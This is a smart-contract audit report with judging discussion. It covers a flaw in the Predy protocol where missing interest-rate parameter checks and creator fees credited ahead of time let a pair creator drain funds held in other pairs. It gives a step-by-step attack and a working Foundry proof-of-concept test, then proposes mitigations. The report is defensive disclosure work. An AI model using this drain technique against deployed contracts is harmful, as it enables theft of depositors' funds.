The missing IRM parameters check in the registerPair() function allows for the instant draining of all funds from all pairs, as the creator's revenue is accounted for before the debt is paid out.

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-05-predy/blob/2fb1e0ec7a52fc06c2e9c8e561bccba84302e4bb/src/libraries/logic/AddPairLogic.sol#L150-L153
https://github.com/code-423n4/2024-05-predy/blob/2fb1e0ec7a52fc06c2e9c8e561bccba84302e4bb/src/libraries/ApplyInterestLib.sol#L71-L72

Vulnerability details

he Predy protocol invariant is that the base rate should not exceed 100%, and the maximum possible interest rate should not surpass 1100%. However, the IRM parameters are not checked during new pair registration.

With the updated requirement that anyone can add pairs, this introduces a potential attack vector.

Hi, the recent addition of "anyone can freely add pairs to the PredyPool" might be causing some confusion. Let me clarify as follows:

It is interpreted as: "Anyone can freely add pairs to the PredyPool; however, the audit scope is limited to cases where WETH, USDC, ARB, USDT, DAI, WBTC are added as pairs."

It is particularly important to ensure that adding new pairs does not introduce vulnerabilities that could lead to the funds of existing pairs being drained.

An attacker can duplicate any existing pair containing liquidity with a new pair that has its IRM parameters manipulated to absurd numbers. For example, the base rate could be set to 3T% (3000000000000%).

While IRM manipulation alone will not benefit the attacker, a flaw in how the creator/protocol revenue is accounted for creates an opportunity for exploitation.

If the pair creator sets the fee to the maximum amount of 20%, 10% of that fee is designated for him. The issue within the protocol is that the fee is calculated ahead of time and not during the repayment of the debt.

As a result, the attacker can trade a perpetual contract, for example, valued at 10 USD, for which he will need to pay a 3T% interest rate. His position will become instantly insolvent and non-liquidatable (as no one will repay a 100k USD debt for him).

However, the creator can directly extract 10% of that debt as his revenue from the Predy protocol, without any check that the manipulated pair has sufficient funds.

This leads to the extraction of funds from other pairs that have liquidity.

Impact

All funds can be stolen from Predy protocol.

Proof of Concept

1. A malicious user registers a new pair that duplicates an existing pair containing liquidity and sets its IRM parameters with a base rate of 3T% and a fee of 20%.
2. The attacker adds liquidity of 1 token to the new pair.
3. The attacker trades a perpetual contract for 1 token, creating debt for the token he wants to steal from the protocol.
4. He waits for 1 block and then withdraws his 1 token supply, which also triggers a fee update on the existing debt.
5. The attacker extracts funds from the protocol by calling the withdrawCreatorRevenue() function on the pair he controls.
6. The attacker repeats this attack on all existing pairs that contain liquidity in any token.

Note: The liquidation of the insolvent position is not possible because the debt to repay is 10 times larger than what the attacker wants to extract. In fact, liquidation would benefit him as he would be able to extract 10 times more than what was initially in the protocol.

PoC Tests

This test illustrates how to use extract funds:

Create test/PoC/TestPoCIRMParams.t.sol and run forge test --match-test testPoCIRMParamsManipulation -vvvv.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "../pool/Setup.t.sol";
import "../mocks/TestTradeMarket.sol";

contract TestPoCIRMParams is TestPool {
    uint256 pairId;
    address attacker;
    address poolOwner;

    TestTradeMarket tradeMarket;

    function setUp() public override {
        TestPool.setUp();

        pairId = registerPair(address(currency1), address(0), false);

        predyPool.supply(pairId, true, 10000e18);
        predyPool.supply(pairId, false, 10000e18);

        tradeMarket = new TestTradeMarket(predyPool);

        currency1.transfer(address(tradeMarket), 1e18);

        attacker = vm.addr(5);

        currency0.transfer(address(attacker), 1e18);
        currency1.transfer(address(attacker), 1e18);

        vm.startPrank(attacker);
        currency0.approve(address(tradeMarket), 1e18);
        currency1.approve(address(tradeMarket), 1e18);
        vm.stopPrank();

        // set high IRM params
        InterestRateModel.IRMParams memory irmParams = InterestRateModel.IRMParams(3e30, 0, 1e18, 10 * 1e18);

        // create pair with 20% fee
        pairId = predyPool.registerPair(
            AddPairLogic.AddPairParams(
                address(currency1),
                address(this),
                address(uniswapPool),
                // set up oracle
                address(0),
                false,
                20,
                Perp.AssetRiskParams(RISK_RATIO, BASE_MIN_COLLATERAL_WITH_DEBT, 1000, 500, 1005000, 1050000),
                irmParams,
                irmParams
            )
        );

        // lets simulate that attacker is pool owner (in case there is no onlyOperator modifier for registerPair function)
        predyPool.updatePoolOwner(pairId, attacker);

        vm.startPrank(attacker);
        currency1.approve(address(predyPool), 1e18);
        predyPool.supply(pairId, true, 1e18);
        vm.stopPrank();
    }

    function testPoCIRMParamsManipulation() public {
        console.log("Attacker USDC balance before:", currency1.balanceOf(address(attacker)));
        console.log("PredyPool USDC balance before:", currency1.balanceOf(address(predyPool)));

        vm.startPrank(attacker);

        tradeMarket.trade(
            IPredyPool.TradeParams(2, 0, 1e18, 0, abi.encode(_getTradeAfterParams(1e18))),
            _getSettlementData(Constants.Q96)
        );

        vm.warp(block.timestamp + 1);

        predyPool.withdraw(pairId, true, 1e18);
        predyPool.withdrawCreatorRevenue(2, true);
        vm.stopPrank();
        
        console.log("----------------------------------");
        console.log("Attacker USDC balance after:", currency1.balanceOf(address(attacker)));
        console.log("PredyPool USDC balance after:", currency1.balanceOf(address(predyPool)));
    }
}

Recommended Mitigation Steps

1. Protocol and creator revenue should not be accounted ahead of time, and only revenue from repaid debt should be possible to collect.
2. Validate the IRM params during registerPair() function call:

    function _storePairStatus(
        address quoteToken,
        mapping(uint256 => DataType.PairStatus) storage _pairs,
        uint256 _pairId,
        address _tokenAddress,
        bool _isQuoteZero,
        AddPairParams memory _addPairParam
    ) internal {
        validateRiskParams(_addPairParam.assetRiskParams);
        validateFeeRatio(_addPairParam.fee);
+       validateIRMParams(_addPairParam.quoteIrmParams);
+       validateIRMParams(_addPairParam.baseIrmParams);

Assessed type

Invalid Validation

[0xklapouchy]

Hi @alex-ppg,

I assume that the "insufficient quality report" was given due to the presence of the onlyOperator modifier on the registerPair() function.

I agree that with this modifier in place, the issue is indeed invalid.

However, during the contest, the sponsor mentioned multiple times that this modifier is only temporary. It was introduced after the hack on the Predy protocol hack, and the intention is to remove it in the future.

In the Discord channel, it was even confirmed in a pinned message from the C4 Staff that it will be removed: pinned message.

Wardens, please note:

In the [All trusted roles in the protocol](https://github.com/code-423n4/2024-05-predy/blob/main/README.md#all-trusted-roles-in-the-protocol) chart, the sponsor would like to also note that:

In the future, it is expected that anyone will be able to add pairs.

It was later clarified that anyone can add pairs, but only for a limited token list: pinned message.

Hi, the recent addition of "anyone can freely add pairs to the PredyPool" might be causing some confusion. Let me clarify as follows:

It is interpreted as: "Anyone can freely add pairs to the PredyPool; however, the audit scope is limited to cases where WETH, USDC, ARB, USDT, DAI, and WBTC are added as pairs."

It is particularly important to ensure that adding new pairs does not introduce vulnerabilities that could lead to the funds of existing pairs being drained.

As the intention for this addition is to It is particularly important to ensure that adding new pairs does not introduce vulnerabilities that could lead to the funds of existing pairs being drained, this issue demonstrates exactly that.

Adding a new pair within the limitations allows an attacker to drain all funds almost instantly, similar to the first Predy hack.

In the issue description, it is shown that by leveraging a low-level issue (missing IMR params validation) and a medium-level issue (accounting fees ahead of time before debt is paid), an attacker can craft a critical vulnerability and drain all funds from other pairs.

[alex-ppg]

Hey @0xklapouchy, thanks for contributing to the PJQA process! First of all, this represents a validation repository finding and as such was not evaluated by me directly.

I understand that the Sponsor might have changed their mind mid-contest, however, no change was reflected in the repository. As such, I cannot accept issues that rely on assumptions that have not been properly reflected on the contest page. I will surface these findings to the Sponsor in case they might find them useful, however, from a C4 perspective, the submission is ineligible for a reward.

[0xklapouchy]

Hey @alex-ppg,

I understand that this can't be accepted as a high-level issue.

However, from my perspective, this is still a valid Medium-level issue even with the onlyOperator modifier in place.

This is due to the critical nature of the outcome: funds from one pair can be stolen by other pairs, leading to invalid accounting for the entire protocol. The only difference is that the current probability is Low, as this scenario arises from the possibility of an Operator making a mistake (for example by setting the IMR param with 0 zero too much), or even without his mistake.

Accounting for rewards ahead of time (as outlined in this issue and in #594) for both the protocol and the pool creator is itself a Medium-level issue. In situations where valid pairs (for example, WETH/USDC and WBTC/USDC) are created by a trusted operator, one pair can still take funds from another pair, even with correct IRM parameters.

Example:

1. There are two pairs: WETH/USDC and WBTC/USDC, both with a 10% fee.
2. A user takes a perp trade on the WBTC/USDC pair, using all available USDC to long WBTC.
3. The fee is accounted for ahead of time.
4. The operator collects USDC fees. Since there is no USDC in the WBTC/USDC pair, funds are taken from the WETH/USDC pair.
5. A liquidity provider for the WETH/USDC pool wants to withdraw all USDC from that pair but is unable to do so due to insufficient USDC balance, even though there were no perp trades on the WETH/USDC pair.

[0xklapouchy]

And yet, I feel that the removal of the onlyOperator modifier was clearly communicated to all users on the Discord channel by the C4 staff member kartoonjoy, and a pinned message with that information is still on the channel.

[syuhei176]

Adding a new USDC/WBTC pair with a higher interest rate, alongside the existing USDC/ETH pair, and setting a high pair creator fee, indeed carries potential risks. we would like to accept this as a medium risk report.

[alex-ppg]

Hey @0xklapouchy and @syuhei176, thank you for continuing the discussion! I understand that the situation is unfortunate, however, I will have to maintain my original ruling as a matter of precedence.

The validators as well as the judge have approached this contest without the additional information in mind, and it is reasonable to assume that Wardens have downloaded the repository / accessed it via the C4 portal without scouring the C4 discussions. I myself have participated in C4 contests without looking at the Discord discussions and it is not reasonable to assume all wardens will have checked Discord.

As a result, any vulnerability arising from the newly shared context will remain out-of-scope in the interest of fairness. I empathize with your disagreement about this ruling @0xklapouchy, and hope you find solace in the fact that the Sponsor found your report useful!